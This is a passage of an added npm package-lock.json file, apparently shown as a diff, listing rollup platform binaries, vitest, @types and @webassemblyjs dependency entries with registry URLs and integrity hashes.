1952
+
"linux"
1953
+
]
1954
+
},
1955
+
"node_modules/@rollup/rollup-linux-arm64-gnu": {
1956
+
"version": "4.53.4",
1957
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.53.4.tgz",
1958
+
"integrity": "sha512-BLRwSRwICXz0TXkbIbqJ1ibK+/dSBpTJqDClF61GWIrxTXZWQE78ROeIhgl5MjVs4B4gSLPCFeD4xML9vbzvCQ==",
1959
+
"cpu": [
1960
+
"arm64"
1961
+
],
1962
+
"dev": true,
1963
+
"license": "MIT",
1964
+
"optional": true,
1965
+
"os": [
1966
+
"linux"
1967
+
]
1968
+
},
1969
+
"node_modules/@rollup/rollup-linux-arm64-musl": {
1970
+
"version": "4.53.4",
1971
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.53.4.tgz",
1972
+
"integrity": "sha512-6bySEjOTbmVcPJAywjpGLckK793A0TJWSbIa0sVwtVGfe/Nz6gOWHOwkshUIAp9j7wg2WKcA4Snu7Y1nUZyQew==",
1973
+
"cpu": [
1974
+
"arm64"
1975
+
],
1976
+
"dev": true,
1977
+
"license": "MIT",
1978
+
"optional": true,
1979
+
"os": [
1980
+
"linux"
1981
+
]
1982
+
},
1983
+
"node_modules/@rollup/rollup-linux-loong64-gnu": {
1984
+
"version": "4.53.4",
1985
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.53.4.tgz",
1986
+
"integrity": "sha512-U0ow3bXYJZ5MIbchVusxEycBw7bO6C2u5UvD31i5IMTrnt2p4Fh4ZbHSdc/31TScIJQYHwxbj05BpevB3201ug==",
1987
+
"cpu": [
1988
+
"loong64"
1989
+
],
1990
+
"dev": true,
1991
+
"license": "MIT",
1992
+
"optional": true,
1993
+
"os": [
1994
+
"linux"
1995
+
]
1996
+
},
1997
+
"node_modules/@rollup/rollup-linux-ppc64-gnu": {
1998
+
"version": "4.53.4",
1999
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.53.4.tgz",
2000
+
"integrity": "sha512-iujDk07ZNwGLVn0YIWM80SFN039bHZHCdCCuX9nyx3Jsa2d9V/0Y32F+YadzwbvDxhSeVo9zefkoPnXEImnM5w==",
2001
+
"cpu": [
2002
+
"ppc64"
2003
+
],
2004
+
"dev": true,
2005
+
"license": "MIT",
2006
+
"optional": true,
2007
+
"os": [
2008
+
"linux"
2009
+
]
2010
+
},
2011
+
"node_modules/@rollup/rollup-linux-riscv64-gnu": {
2012
+
"version": "4.53.4",
2013
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.53.4.tgz",
2014
+
"integrity": "sha512-MUtAktiOUSu+AXBpx1fkuG/Bi5rhlorGs3lw5QeJ2X3ziEGAq7vFNdWVde6XGaVqi0LGSvugwjoxSNJfHFTC0g==",
2015
+
"cpu": [
2016
+
"riscv64"
2017
+
],
2018
+
"dev": true,
2019
+
"license": "MIT",
2020
+
"optional": true,
2021
+
"os": [
2022
+
"linux"
2023
+
]
2024
+
},
2025
+
"node_modules/@rollup/rollup-linux-riscv64-musl": {
2026
+
"version": "4.53.4",
2027
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.53.4.tgz",
2028
+
"integrity": "sha512-btm35eAbDfPtcFEgaXCI5l3c2WXyzwiE8pArhd66SDtoLWmgK5/M7CUxmUglkwtniPzwvWioBKKl6IXLbPf2sQ==",
2029
+
"cpu": [
2030
+
"riscv64"
2031
+
],
2032
+
"dev": true,
2033
+
"license": "MIT",
2034
+
"optional": true,
2035
+
"os": [
2036
+
"linux"
2037
+
]
2038
+
},
2039
+
"node_modules/@rollup/rollup-linux-s390x-gnu": {
2040
+
"version": "4.53.4",
2041
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.53.4.tgz",
2042
+
"integrity": "sha512-uJlhKE9ccUTCUlK+HUz/80cVtx2RayadC5ldDrrDUFaJK0SNb8/cCmC9RhBhIWuZ71Nqj4Uoa9+xljKWRogdhA==",
2043
+
"cpu": [
2044
+
"s390x"
2045
+
],
2046
+
"dev": true,
2047
+
"license": "MIT",
2048
+
"optional": true,
2049
+
"os": [
2050
+
"linux"
2051
+
]
2052
+
},
2053
+
"node_modules/@rollup/rollup-linux-x64-gnu": {
2054
+
"version": "4.53.4",
2055
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.53.4.tgz",
2056
+
"integrity": "sha512-jjEMkzvASQBbzzlzf4os7nzSBd/cvPrpqXCUOqoeCh1dQ4BP3RZCJk8XBeik4MUln3m+8LeTJcY54C/u8wb3DQ==",
2057
+
"cpu": [
2058
+
"x64"
2059
+
],
2060
+
"dev": true,
2061
+
"license": "MIT",
2062
+
"optional": true,
2063
+
"os": [
2064
+
"linux"
2065
+
]
2066
+
},
2067
+
"node_modules/@rollup/rollup-linux-x64-musl": {
2068
+
"version": "4.53.4",
2069
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.53.4.tgz",
2070
+
"integrity": "sha512-lu90KG06NNH19shC5rBPkrh6mrTpq5kviFylPBXQVpdEu0yzb0mDgyxLr6XdcGdBIQTH/UAhDJnL+APZTBu1aQ==",
2071
+
"cpu": [
2072
+
"x64"
2073
+
],
2074
+
"dev": true,
2075
+
"license": "MIT",
2076
+
"optional": true,
2077
+
"os": [
2078
+
"linux"
2079
+
]
2080
+
},
2081
+
"node_modules/@rollup/rollup-openharmony-arm64": {
2082
+
"version": "4.53.4",
2083
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.53.4.tgz",
2084
+
"integrity": "sha512-dFDcmLwsUzhAm/dn0+dMOQZoONVYBtgik0VuY/d5IJUUb787L3Ko/ibvTvddqhb3RaB7vFEozYevHN4ox22R/w==",
2085
+
"cpu": [
2086
+
"arm64"
2087
+
],
2088
+
"dev": true,
2089
+
"license": "MIT",
2090
+
"optional": true,
2091
+
"os": [
2092
+
"openharmony"
2093
+
]
2094
+
},
2095
+
"node_modules/@rollup/rollup-win32-arm64-msvc": {
2096
+
"version": "4.53.4",
2097
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.53.4.tgz",
2098
+
"integrity": "sha512-WvUpUAWmUxZKtRnQWpRKnLW2DEO8HB/l8z6oFFMNuHndMzFTJEXzaYJ5ZAmzNw0L21QQJZsUQFt2oPf3ykAD/w==",
2099
+
"cpu": [
2100
+
"arm64"
2101
+
],
2102
+
"dev": true,
2103
+
"license": "MIT",
2104
+
"optional": true,
2105
+
"os": [
2106
+
"win32"
2107
+
]
2108
+
},
2109
+
"node_modules/@rollup/rollup-win32-ia32-msvc": {
2110
+
"version": "4.53.4",
2111
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.53.4.tgz",
2112
+
"integrity": "sha512-JGbeF2/FDU0x2OLySw/jgvkwWUo05BSiJK0dtuI4LyuXbz3wKiC1xHhLB1Tqm5VU6ZZDmAorj45r/IgWNWku5g==",
2113
+
"cpu": [
2114
+
"ia32"
2115
+
],
2116
+
"dev": true,
2117
+
"license": "MIT",
2118
+
"optional": true,
2119
+
"os": [
2120
+
"win32"
2121
+
]
2122
+
},
2123
+
"node_modules/@rollup/rollup-win32-x64-gnu": {
2124
+
"version": "4.53.4",
2125
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.53.4.tgz",
2126
+
"integrity": "sha512-zuuC7AyxLWLubP+mlUwEyR8M1ixW1ERNPHJfXm8x7eQNP4Pzkd7hS3qBuKBR70VRiQ04Kw8FNfRMF5TNxuZq2g==",
2127
+
"cpu": [
2128
+
"x64"
2129
+
],
2130
+
"dev": true,
2131
+
"license": "MIT",
2132
+
"optional": true,
2133
+
"os": [
2134
+
"win32"
2135
+
]
2136
+
},
2137
+
"node_modules/@rollup/rollup-win32-x64-msvc": {
2138
+
"version": "4.53.4",
2139
+
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.53.4.tgz",
2140
+
"integrity": "sha512-Sbx45u/Lbb5RyptSbX7/3deP+/lzEmZ0BTSHxwxN/IMOZDZf8S0AGo0hJD5n/LQssxb5Z3B4og4P2X6Dd8acCA==",
2141
+
"cpu": [
2142
+
"x64"
2143
+
],
2144
+
"dev": true,
2145
+
"license": "MIT",
2146
+
"optional": true,
2147
+
"os": [
2148
+
"win32"
2149
+
]
2150
+
},
2151
+
"node_modules/@sindresorhus/is": {
2152
+
"version": "7.1.1",
2153
+
"resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-7.1.1.tgz",
2154
+
"integrity": "sha512-rO92VvpgMc3kfiTjGT52LEtJ8Yc5kCWhZjLQ3LwlA4pSgPpQO7bVpYXParOD8Jwf+cVQECJo3yP/4I8aZtUQTQ==",
2155
+
"dev": true,
2156
+
"license": "MIT",
2157
+
"engines": {
2158
+
"node": ">=18"
2159
+
},
2160
+
"funding": {
2161
+
"url": "https://github.com/sindresorhus/is?sponsor=1"
2162
+
}
2163
+
},
2164
+
"node_modules/@speed-highlight/core": {
2165
+
"version": "1.2.12",
2166
+
"resolved": "https://registry.npmjs.org/@speed-highlight/core/-/core-1.2.12.tgz",
2167
+
"integrity": "sha512-uilwrK0Ygyri5dToHYdZSjcvpS2ZwX0w5aSt3GCEN9hrjxWCoeV4Z2DTXuxjwbntaLQIEEAlCeNQss5SoHvAEA==",
2168
+
"dev": true,
2169
+
"license": "CC0-1.0"
2170
+
},
2171
+
"node_modules/@standard-schema/spec": {
2172
+
"version": "1.0.0",
2173
+
"resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.0.0.tgz",
2174
+
"integrity": "sha512-m2bOd0f2RT9k8QJx1JN85cZYyH1RqFBdlwtkSlf4tBDYLCiiZnv1fIIwacK6cqwXavOydf0NPToMQgpKq+dVlA==",
2175
+
"dev": true,
2176
+
"license": "MIT"
2177
+
},
2178
+
"node_modules/@tybys/wasm-util": {
2179
+
"version": "0.10.1",
2180
+
"resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.1.tgz",
2181
+
"integrity": "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg==",
2182
+
"dev": true,
2183
+
"license": "MIT",
2184
+
"optional": true,
2185
+
"dependencies": {
2186
+
"tslib": "^2.4.0"
2187
+
}
2188
+
},
2189
+
"node_modules/@types/babel__core": {
2190
+
"version": "7.20.5",
2191
+
"resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
2192
+
"integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==",
2193
+
"dev": true,
2194
+
"license": "MIT",
2195
+
"dependencies": {
2196
+
"@babel/parser": "^7.20.7",
2197
+
"@babel/types": "^7.20.7",
2198
+
"@types/babel__generator": "*",
2199
+
"@types/babel__template": "*",
2200
+
"@types/babel__traverse": "*"
2201
+
}
2202
+
},
2203
+
"node_modules/@types/babel__generator": {
2204
+
"version": "7.27.0",
2205
+
"resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",
2206
+
"integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==",
2207
+
"dev": true,
2208
+
"license": "MIT",
2209
+
"dependencies": {
2210
+
"@babel/types": "^7.0.0"
2211
+
}
2212
+
},
2213
+
"node_modules/@types/babel__template": {
2214
+
"version": "7.4.4",
2215
+
"resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",
2216
+
"integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==",
2217
+
"dev": true,
2218
+
"license": "MIT",
2219
+
"dependencies": {
2220
+
"@babel/parser": "^7.1.0",
2221
+
"@babel/types": "^7.0.0"
2222
+
}
2223
+
},
2224
+
"node_modules/@types/babel__traverse": {
2225
+
"version": "7.28.0",
2226
+
"resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",
2227
+
"integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==",
2228
+
"dev": true,
2229
+
"license": "MIT",
2230
+
"dependencies": {
2231
+
"@babel/types": "^7.28.2"
2232
+
}
2233
+
},
2234
+
"node_modules/@types/chai": {
2235
+
"version": "5.2.3",
2236
+
"resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz",
2237
+
"integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==",
2238
+
"dev": true,
2239
+
"license": "MIT",
2240
+
"dependencies": {
2241
+
"@types/deep-eql": "*",
2242
+
"assertion-error": "^2.0.1"
2243
+
}
2244
+
},
2245
+
"node_modules/@types/deep-eql": {
2246
+
"version": "4.0.2",
2247
+
"resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz",
2248
+
"integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==",
2249
+
"dev": true,
2250
+
"license": "MIT"
2251
+
},
2252
+
"node_modules/@types/eslint": {
2253
+
"version": "9.6.1",
2254
+
"resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-9.6.1.tgz",
2255
+
"integrity": "sha512-FXx2pKgId/WyYo2jXw63kk7/+TY7u7AziEJxJAnSFzHlqTAS3Ync6SvgYAN/k4/PQpnnVuzoMuVnByKK2qp0ag==",
2256
+
"license": "MIT",
2257
+
"peer": true,
2258
+
"dependencies": {
2259
+
"@types/estree": "*",
2260
+
"@types/json-schema": "*"
2261
+
}
2262
+
},
2263
+
"node_modules/@types/eslint-scope": {
2264
+
"version": "3.7.7",
2265
+
"resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.7.tgz",
2266
+
"integrity": "sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==",
2267
+
"license": "MIT",
2268
+
"peer": true,
2269
+
"dependencies": {
2270
+
"@types/eslint": "*",
2271
+
"@types/estree": "*"
2272
+
}
2273
+
},
2274
+
"node_modules/@types/estree": {
2275
+
"version": "1.0.8",
2276
+
"resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",
2277
+
"integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==",
2278
+
"license": "MIT"
2279
+
},
2280
+
"node_modules/@types/json-schema": {
2281
+
"version": "7.0.15",
2282
+
"resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz",
2283
+
"integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==",
2284
+
"license": "MIT",
2285
+
"peer": true
2286
+
},
2287
+
"node_modules/@types/node": {
2288
+
"version": "25.0.1",
2289
+
"resolved": "https://registry.npmjs.org/@types/node/-/node-25.0.1.tgz",
2290
+
"integrity": "sha512-czWPzKIAXucn9PtsttxmumiQ9N0ok9FrBwgRWrwmVLlp86BrMExzvXRLFYRJ+Ex3g6yqj+KuaxfX1JTgV2lpfg==",
2291
+
"license": "MIT",
2292
+
"peer": true,
2293
+
"dependencies": {
2294
+
"undici-types": "~7.16.0"
2295
+
}
2296
+
},
2297
+
"node_modules/@vitejs/plugin-react": {
2298
+
"version": "5.1.2",
2299
+
"resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.1.2.tgz",
2300
+
"integrity": "sha512-EcA07pHJouywpzsoTUqNh5NwGayl2PPVEJKUSinGGSxFGYn+shYbqMGBg6FXDqgXum9Ou/ecb+411ssw8HImJQ==",
2301
+
"dev": true,
2302
+
"license": "MIT",
2303
+
"dependencies": {
2304
+
"@babel/core": "^7.28.5",
2305
+
"@babel/plugin-transform-react-jsx-self": "^7.27.1",
2306
+
"@babel/plugin-transform-react-jsx-source": "^7.27.1",
2307
+
"@rolldown/pluginutils": "1.0.0-beta.53",
2308
+
"@types/babel__core": "^7.20.5",
2309
+
"react-refresh": "^0.18.0"
2310
+
},
2311
+
"engines": {
2312
+
"node": "^20.19.0 || >=22.12.0"
2313
+
},
2314
+
"peerDependencies": {
2315
+
"vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0"
2316
+
}
2317
+
},
2318
+
"node_modules/@vitest/browser": {
2319
+
"version": "4.0.15",
2320
+
"resolved": "https://registry.npmjs.org/@vitest/browser/-/browser-4.0.15.tgz",
2321
+
"integrity": "sha512-zedtczX688KehaIaAv7m25CeDLb0gBtAOa2Oi1G1cqvSO5aLSVfH6lpZMJLW8BKYuWMxLQc9/5GYoM+jgvGIrw==",
2322
+
"dev": true,
2323
+
"license": "MIT",
2324
+
"dependencies": {
2325
+
"@vitest/mocker": "4.0.15",
2326
+
"@vitest/utils": "4.0.15",
2327
+
"magic-string": "^0.30.21",
2328
+
"pixelmatch": "7.1.0",
2329
+
"pngjs": "^7.0.0",
2330
+
"sirv": "^3.0.2",
2331
+
"tinyrainbow": "^3.0.3",
2332
+
"ws": "^8.18.3"
2333
+
},
2334
+
"funding": {
2335
+
"url": "https://opencollective.com/vitest"
2336
+
},
2337
+
"peerDependencies": {
2338
+
"vitest": "4.0.15"
2339
+
}
2340
+
},
2341
+
"node_modules/@vitest/browser-playwright": {
2342
+
"version": "4.0.15",
2343
+
"resolved": "https://registry.npmjs.org/@vitest/browser-playwright/-/browser-playwright-4.0.15.tgz",
2344
+
"integrity": "sha512-94yVpDbb+ykiT7mK6ToonGnq2GIHEQGBTZTAzGxBGQXcVNCh54YKC2/WkfaDzxy0m6Kgw05kq3FYHKHu+wRdIA==",
2345
+
"dev": true,
2346
+
"license": "MIT",
2347
+
"dependencies": {
2348
+
"@vitest/browser": "4.0.15",
2349
+
"@vitest/mocker": "4.0.15",
2350
+
"tinyrainbow": "^3.0.3"
2351
+
},
2352
+
"funding": {
2353
+
"url": "https://opencollective.com/vitest"
2354
+
},
2355
+
"peerDependencies": {
2356
+
"playwright": "*",
2357
+
"vitest": "4.0.15"
2358
+
},
2359
+
"peerDependenciesMeta": {
2360
+
"playwright": {
2361
+
"optional": false
2362
+
}
2363
+
}
2364
+
},
2365
+
"node_modules/@vitest/expect": {
2366
+
"version": "4.0.15",
2367
+
"resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.0.15.tgz",
2368
+
"integrity": "sha512-Gfyva9/GxPAWXIWjyGDli9O+waHDC0Q0jaLdFP1qPAUUfo1FEXPXUfUkp3eZA0sSq340vPycSyOlYUeM15Ft1w==",
2369
+
"dev": true,
2370
+
"license": "MIT",
2371
+
"dependencies": {
2372
+
"@standard-schema/spec": "^1.0.0",
2373
+
"@types/chai": "^5.2.2",
2374
+
"@vitest/spy": "4.0.15",
2375
+
"@vitest/utils": "4.0.15",
2376
+
"chai": "^6.2.1",
2377
+
"tinyrainbow": "^3.0.3"
2378
+
},
2379
+
"funding": {
2380
+
"url": "https://opencollective.com/vitest"
2381
+
}
2382
+
},
2383
+
"node_modules/@vitest/mocker": {
2384
+
"version": "4.0.15",
2385
+
"resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.0.15.tgz",
2386
+
"integrity": "sha512-CZ28GLfOEIFkvCFngN8Sfx5h+Se0zN+h4B7yOsPVCcgtiO7t5jt9xQh2E1UkFep+eb9fjyMfuC5gBypwb07fvQ==",
2387
+
"dev": true,
2388
+
"license": "MIT",
2389
+
"dependencies": {
2390
+
"@vitest/spy": "4.0.15",
2391
+
"estree-walker": "^3.0.3",
2392
+
"magic-string": "^0.30.21"
2393
+
},
2394
+
"funding": {
2395
+
"url": "https://opencollective.com/vitest"
2396
+
},
2397
+
"peerDependencies": {
2398
+
"msw": "^2.4.9",
2399
+
"vite": "^6.0.0 || ^7.0.0-0"
2400
+
},
2401
+
"peerDependenciesMeta": {
2402
+
"msw": {
2403
+
"optional": true
2404
+
},
2405
+
"vite": {
2406
+
"optional": true
2407
+
}
2408
+
}
2409
+
},
2410
+
"node_modules/@vitest/pretty-format": {
2411
+
"version": "4.0.15",
2412
+
"resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.0.15.tgz",
2413
+
"integrity": "sha512-SWdqR8vEv83WtZcrfLNqlqeQXlQLh2iilO1Wk1gv4eiHKjEzvgHb2OVc3mIPyhZE6F+CtfYjNlDJwP5MN6Km7A==",
2414
+
"dev": true,
2415
+
"license": "MIT",
2416
+
"dependencies": {
2417
+
"tinyrainbow": "^3.0.3"
2418
+
},
2419
+
"funding": {
2420
+
"url": "https://opencollective.com/vitest"
2421
+
}
2422
+
},
2423
+
"node_modules/@vitest/runner": {
2424
+
"version": "4.0.15",
2425
+
"resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.0.15.tgz",
2426
+
"integrity": "sha512-+A+yMY8dGixUhHmNdPUxOh0la6uVzun86vAbuMT3hIDxMrAOmn5ILBHm8ajrqHE0t8R9T1dGnde1A5DTnmi3qw==",
2427
+
"dev": true,
2428
+
"license": "MIT",
2429
+
"dependencies": {
2430
+
"@vitest/utils": "4.0.15",
2431
+
"pathe": "^2.0.3"
2432
+
},
2433
+
"funding": {
2434
+
"url": "https://opencollective.com/vitest"
2435
+
}
2436
+
},
2437
+
"node_modules/@vitest/snapshot": {
2438
+
"version": "4.0.15",
2439
+
"resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.0.15.tgz",
2440
+
"integrity": "sha512-A7Ob8EdFZJIBjLjeO0DZF4lqR6U7Ydi5/5LIZ0xcI+23lYlsYJAfGn8PrIWTYdZQRNnSRlzhg0zyGu37mVdy5g==",
2441
+
"dev": true,
2442
+
"license": "MIT",
2443
+
"dependencies": {
2444
+
"@vitest/pretty-format": "4.0.15",
2445
+
"magic-string": "^0.30.21",
2446
+
"pathe": "^2.0.3"
2447
+
},
2448
+
"funding": {
2449
+
"url": "https://opencollective.com/vitest"
2450
+
}
2451
+
},
2452
+
"node_modules/@vitest/spy": {
2453
+
"version": "4.0.15",
2454
+
"resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.0.15.tgz",
2455
+
"integrity": "sha512-+EIjOJmnY6mIfdXtE/bnozKEvTC4Uczg19yeZ2vtCz5Yyb0QQ31QWVQ8hswJ3Ysx/K2EqaNsVanjr//2+P3FHw==",
2456
+
"dev": true,
2457
+
"license": "MIT",
2458
+
"funding": {
2459
+
"url": "https://opencollective.com/vitest"
2460
+
}
2461
+
},
2462
+
"node_modules/@vitest/utils": {
2463
+
"version": "4.0.15",
2464
+
"resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.0.15.tgz",
2465
+
"integrity": "sha512-HXjPW2w5dxhTD0dLwtYHDnelK3j8sR8cWIaLxr22evTyY6q8pRCjZSmhRWVjBaOVXChQd6AwMzi9pucorXCPZA==",
2466
+
"dev": true,
2467
+
"license": "MIT",
2468
+
"dependencies": {
2469
+
"@vitest/pretty-format": "4.0.15",
2470
+
"tinyrainbow": "^3.0.3"
2471
+
},
2472
+
"funding": {
2473
+
"url": "https://opencollective.com/vitest"
2474
+
}
2475
+
},
2476
+
"node_modules/@webassemblyjs/ast": {
2477
+
"version": "1.14.1",
2478
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.14.1.tgz",
2479
+
"integrity": "sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ==",
2480
+
"license": "MIT",
2481
+
"peer": true,
2482
+
"dependencies": {
2483
+
"@webassemblyjs/helper-numbers": "1.13.2",
2484
+
"@webassemblyjs/helper-wasm-bytecode": "1.13.2"
2485
+
}
2486
+
},
2487
+
"node_modules/@webassemblyjs/floating-point-hex-parser": {
2488
+
"version": "1.13.2",
2489
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.13.2.tgz",
2490
+
"integrity": "sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA==",
2491
+
"license": "MIT",
2492
+
"peer": true
2493
+
},
2494
+
"node_modules/@webassemblyjs/helper-api-error": {
2495
+
"version": "1.13.2",
2496
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.13.2.tgz",
2497
+
"integrity": "sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ==",
2498
+
"license": "MIT",
2499
+
"peer": true
2500
+
},
2501
+
"node_modules/@webassemblyjs/helper-buffer": {
2502
+
"version": "1.14.1",
2503
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.14.1.tgz",
2504
+
"integrity": "sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA==",
2505
+
"license": "MIT",
2506
+
"peer": true
2507
+
},
2508
+
"node_modules/@webassemblyjs/helper-numbers": {
2509
+
"version": "1.13.2",
2510
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.13.2.tgz",
2511
+
"integrity": "sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA==",
2512
+
"license": "MIT",
2513
+
"peer": true,
2514
+
"dependencies": {
2515
+
"@webassemblyjs/floating-point-hex-parser": "1.13.2",
2516
+
"@webassemblyjs/helper-api-error": "1.13.2",
2517
+
"@xtuc/long": "4.2.2"
2518
+
}
2519
+
},
2520
+
"node_modules/@webassemblyjs/helper-wasm-bytecode": {
2521
+
"version": "1.13.2",
2522
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.13.2.tgz",
2523
+
"integrity": "sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA==",
2524
+
"license": "MIT",
2525
+
"peer": true
2526
+
},
2527
+
"node_modules/@webassemblyjs/helper-wasm-section": {
2528
+
"version": "1.14.1",
2529
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.14.1.tgz",
2530
+
"integrity": "sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw==",
2531
+
"license": "MIT",
2532
+
"peer": true,
2533
+
"dependencies": {
2534
+
"@webassemblyjs/ast": "1.14.1",
2535
+
"@webassemblyjs/helper-buffer": "1.14.1",
2536
+
"@webassemblyjs/helper-wasm-bytecode": "1.13.2",
2537
+
"@webassemblyjs/wasm-gen": "1.14.1"
2538
+
}
2539
+
},
2540
+
"node_modules/@webassemblyjs/ieee754": {
2541
+
"version": "1.13.2",
2542
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.13.2.tgz",
2543
+
"integrity": "sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw==",
2544
+
"license": "MIT",
2545
+
"peer": true,
2546
+
"dependencies": {
2547
+
"@xtuc/ieee754": "^1.2.0"
2548
+
}
2549
+
},
2550
+
"node_modules/@webassemblyjs/leb128": {
2551
+
"version": "1.13.2",
2552
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.13.2.tgz",
2553
+
"integrity": "sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw==",
2554
+
"license": "Apache-2.0",
2555
+
"peer": true,
2556
+
"dependencies": {
2557
+
"@xtuc/long": "4.2.2"
2558
+
}
2559
+
},
2560
+
"node_modules/@webassemblyjs/utf8": {
2561
+
"version": "1.13.2",
2562
+
